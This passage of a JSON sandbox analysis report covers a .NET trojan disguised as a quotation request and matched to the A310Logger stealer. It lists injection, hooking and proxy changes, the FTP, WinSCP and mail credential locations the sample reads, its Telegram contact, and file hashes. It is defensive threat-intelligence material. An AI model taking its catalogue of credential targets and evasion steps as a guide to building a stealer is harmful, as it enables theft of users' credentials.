\"C:\\Users\\%OSUSER%\\AppData\\Roaming\\THUNDERBIRD\\PROFILES\"\n \"AppLaunch.exe\" trying to open a file \"%APPDATA%\\THUNDERBIRD\\PROFILES\"","origin":"API Call","mitre_attack_id":"T1114","relevance":5,"id":"api-131","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"Requestforquotation.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\credentials.txt\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"Requestforquotation.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\credentials.txt\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"Requestforquotation.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"Requestforquotation.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"Requestforquotation.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"Requestforquotation.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"Requestforquotation.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops cabinet archive files","description":"\"57C8EDB95DF3F0AD4EE2DC2B8CFD4157\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 4817 bytes 1 file at 0x2c +A \"disallowedcert.stl\" number 1 1 datablock 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003916]","origin":"Binary File","mitre_attack_id":"T1560","relevance":10,"id":"binary-5","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"Requestforquotation.exe\" wrote bytes \"555efb6b\" to virtual address \"0x68B9F798\" (part of module \"CLR.DLL\")\n \"Requestforquotation.exe\" wrote bytes \"db4d806d00000000\" to virtual address \"0x00ED2000\" (part of module \"REQUESTFORQUOTATION.EXE\")\n \"Requestforquotation.exe\" wrote bytes \"e7397677e1a67a772e717a77ee297a7785e275776da07a77906479773ad5807726e47577d16d7a77003d7877804b787700000000ad3799758b2d9975b641997500000000\" to virtual address \"0x75011000\" (part of module \"WSHIP6.DLL\")\n \"Requestforquotation.exe\" wrote bytes \"fae67577e1a67a772e717a77ee297a7785e275776da07a7726e47577d16d7a77003d7877804b787700000000ad3799758b2d9975b641997500000000\" to virtual address \"0x74AC1000\" (part of module \"WSHTCPIP.DLL\")\n \"AppLaunch.exe\" wrote bytes \"c46b6ab3\" to virtual address \"0x683EF798\" (part of module \"CLR.DLL\")\n \"AppLaunch.exe\" wrote bytes \"db4d8f6d00000000\" to virtual address \"0x00072000\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Submission/internal name is suspicious for an executable","description":"Input file type is \".NET exe\" and the name \"Request for quotation.bin\" contains indicator \"quotation\"","origin":"Monitored Target","mitre_attack_id":"T1036","relevance":10,"id":"target-40","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"Requestforquotation.exe\" called \"CreateProcessA\" with parameter \"C:\\Requestforquotation.exe\" - (UID: 00000000-00002972)\n \"Requestforquotation.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\" - (UID: 00000000-00003916)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Writes PE header to memory","description":"\"Requestforquotation.exe wrote PE header bytes (\"MZ\") to a remote process \"C:\\Requestforquotation.exe\", which might be an injection preparation attempt ..., \"Requestforquotation.exe wrote PE header bytes (\"MZ\") to a remote process \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe\"\n which might be an injection preparation attempt ...","origin":"API Call","mitre_attack_id":"T1055.002","relevance":7,"id":"api-83","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"56/71 Antivirus vendors marked sample as malicious (78% detection rate)\n 14/32 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"64/95 Antivirus vendors marked spawned process \"Requestforquotation.exe\" (PID: 3916) as malicious (classified as \"Trojan.Generic\" with 67% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$4c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_A310Logger\" matched process \"00000000-00003916\" as \"Detects A310Logger\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Reads FTP client related registry keys","description":"\"AppLaunch.exe\" (Path: \"HKCU\\SOFTWARE\\FTPWARE\\COREFTP\\SITES\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-31","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal FTP credentials from registry","description":"\"AppLaunch.exe opens key \" (Path: \"HKCU\\SOFTWARE\\FTPWARE\\COREFTP\\SITES\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":5,"id":"registry-100","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$4d","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Putty/Winscp sessions from registry","description":"\"AppLaunch.exe opens key \" (Path: \"HKCU\\SOFTWARE\\MARTIN PRIKRYL\\WINSCP 2\\SESSIONS\")","origin":"Registry Access","mitre_attack_id":"T1552.002","relevance":10,"id":"registry-74","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$4e","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Stealer/Phishing","details_count":3,"details":[{"detail":"Reads FTP client related registry keys"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":116,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":24,"files_deleted_count":0,"registry_keys_created_count":7,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":9,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":6,"http_requests_count":6},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"64e1eedfaeea8c0e1e07ffa7","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["GBR","USA"],"submit_name":"Request for quotation.exe","analysis_start_time":"2023-08-20T10:45:51+00:00","indicators_count":{"informative":112,"suspicious":46,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.220","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"address":"192.124.249.23","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"address":"192.124.249.36","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"dns_resolutions":[{"domain":"api.telegram.org","address":"149.154.167.220","ttl":261,"country":"United Kingdom","registrar_name":"GoDaddy.com, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"NS-CLOUD-B1.GOOGLEDOMAINS.COM","registrar_creation_date":"2003-12-15T14:48:05+00:00","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"domain":"crl.godaddy.com","address":"192.124.249.36","ttl":3336,"country":"United States","registrar_name":"LIQUIDNET LTD.","registrar_organization":"Go Daddy Operating Company, LLC","registrar_name_servers":"A1-245.AKAM.NET","registrar_creation_date":"1999-03-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"domain":"ocsp.godaddy.com","address":"192.124.249.36","ttl":1570,"country":"United States","registrar_name":"LIQUIDNET LTD.","registrar_organization":"Go Daddy Operating Company, LLC","registrar_name_servers":"A1-245.AKAM.NET","registrar_creation_date":"1999-03-02T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"http_requests":[{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH%2B3ahq1OMCAxvnFQ%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"host":"crl.godaddy.com","host_ip":"192.124.249.36:80","url":"/gdroot.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdroot.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEIwQDA%2BMDwwOjAJBgUrDgMCGgUABBQdI2%2BOBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"host":"crl.godaddy.com","host_ip":"192.124.249.36:80","url":"/gdroot-g2.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdroot-g2.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"host":"ocsp.godaddy.com","host_ip":"192.124.249.23:80","url":"//MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D","method":"GET","response_code":"200","response_phrase":"OK","header":"GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBS2CA1fbGt26xPkOKX4ZguoUjM0TgQUQMK9J47MNIMwojPX%2B2yz8LQsgM4CCQCkYG4%2BrkSiPg%3D%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"host":"crl.godaddy.com","host_ip":"192.124.249.36:80","url":"/gdig2s1-5395.crl","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /gdig2s1-5395.crl HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: crl.godaddy.com","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}],"processes":[{"pid":2972,"ppid":0,"name":"Requestforquotation.exe","command_line":"","sha256":"1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","normalized_path":"C:\\Requestforquotation.exe","uid":"00000000-00002972","icon":"$4f"},{"pid":3916,"ppid":2972,"name":"Requestforquotation.exe","command_line":"","sha256":"1e712ef0a37d9e8d2f6ef512da2438ef05e073cde9ae6677858b9ebbd1c23b2b","normalized_path":"C:\\Requestforquotation.exe","parent_uid":"00000000-00002972","uid":"00000000-00003916"},{"pid":3428,"ppid":3916,"name":"AppLaunch.exe","command_line":"","sha256":"cfa7d98ad44c7fb11de5ff07da04f8fd4a3423564de05f87ba5e10bd13a1fe59","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe","parent_uid":"00000000-00003916","uid":"00000000-00003428"}],"all_imported_dlls":["mscoree.dll","sechost.dll","gdi32.dll","ucrtbase_clr0400.dll","GdiPlus.dll","propsys.dll","scrrun.dll","vcruntime140_clr0400.dll","mswsock.dll","rasadhlp.dll","setupapi.dll","ntdll.dll","System.Drawing.ni.dll","System.Windows.Forms.ni.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","credssp.dll","mlang.dll","secur32.dll","bcryptprimitives.dll","version.dll","System.Core.ni.dll","bcrypt.dll","netprofm.dll","wininet.dll","wshqos.dll","AcLayers.dll","kernel32.dll","msvcrt.dll","RpcRtRemote.dll","msvbvm60.dll","npmproxy.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","ntmarta.dll","msasn1.dll","sxs.dll","dhcpcsvc.dll","rpcrt4.dll","System.Configuration.ni.dll","normaliz.dll","msxml6.dll","sspicli.dll","wship6.dll","userenv.dll","FWPUCLNT.DLL","nlssorting.dll","tzres.dll","user32.dll","schannel.dll","VxSSL32.dll","oleaut32.dll","shlwapi.dll","clbcatq.dll","profapi.dll","winhttp.dll","nsi.dll","api-ms-win-core-synch-l1-2-0.dll","mscorlib.ni.dll","clrjit.dll","ole32.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","cfgmgr32.dll","uxtheme.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","mscoreei.dll","clr.dll","mscorrc.dll","msctf.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","ncrypt.dll","System.Windows.Forms.dll","cryptnet.dll","advapi32.dll","dnsapi.dll","psapi.dll","cryptsp.dll","msxml3r.dll","mpr.dll","System.Data.ni.dll","imm32.dll","api-ms-win-core-xstate-l2-1-0.dll","Microsoft.VisualBasic.ni.dll","iertutil.dll","dwmapi.dll","System.Xml.ni.dll","IPHLPAPI.DLL","api-ms-win-downlevel-advapi32-l1-1-0.dll","SensApi.dll","devobj.dll","shell32.dll","usp10.dll","gpapi.dll","apphelp.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","wintrust.dll","netmsg.dll","WSHTCPIP.DLL","rpcss.dll","Wldap32.dll","comctl32.dll","lpk.dll","ws2_32.dll","fltLib.dll","dhcpcsvc6.dll","cryptbase.dll","System.ni.dll","System.Data.dll","rsaenh.dll","WindowsCodecs.dll","webio.dll","urlmon.dll","crypt32.dll","nlaapi.dll","winnsi.dll","KernelBase.dll","msxml3.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"0CC55F78B0E4AA542F9C9A2E9095B378","sha256":"50714e3969c3f36a016e3aa14625cb32a382f95774fe2605da91f2b41ae3aec2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sha256":"e3aa0913f64fd75dca64ad09db618ecd6aecf2bdcc3a287132b664ea2bddcacf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"6b88c6ac55bbd6fea0ebe5a760d1ad2cfce251c59d0151a1400701cb927e36ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"67F6625BC22310D5C99DDE12020DBD90","sha256":"2a7ee492a025e3e1685da3c192a79b7cb1f3cdd7a8086b950f42d611034d8676","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549","sha256":"fac01fa1e147dd01e761c633b0c76c9ce5a450f84f2aa2f0992aa562399ab37c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"C5FD5BF0CE6372B1CAFE381FD0BC969C","sha256":"4e2bbadad8ba9f3d25bb14551ec2827643ef9d26c85e2e36cf2d0a05fec82348","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"name":"EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sha256":"ac6f027968ede17133e3d5139efb025106a9a4233ec8ec549bd5bfdde233defc","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Templates\\credentials.txt","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\223DE96EE265046957A660ED7C9DD9E7_EFF9B9BA98DEAA773F261FA85A0B1771","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\67F6625BC22310D5C99DDE12020DBD90","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\0CC55F78B0E4AA542F9C9A2E9095B378","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\0CC55F78B0E4AA542F9C9A2E9095B378","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8A0E67F3F72679DC8EF1F04D13A5B779_5DB5152ADADE9B60A5DDA0E2DEAA7549","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\EB2C4AB8B68FFA4B7733A9139239A396_D76DB901EE986B889F30D8CC06229E2D","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C5FD5BF0CE6372B1CAFE381FD0BC969C","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\C5FD5BF0CE6372B1CAFE381FD0BC969C","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\67F6625BC22310D5C99DDE12020DBD90","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\GDIPLUS\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{E71B7276-DF21-42FC-835B-83ECAD9A9895}\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-06\\","sources":[{"report_type":"sandbox","report_id":"64e1eedfaeea8c0e1e07ffa7"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET 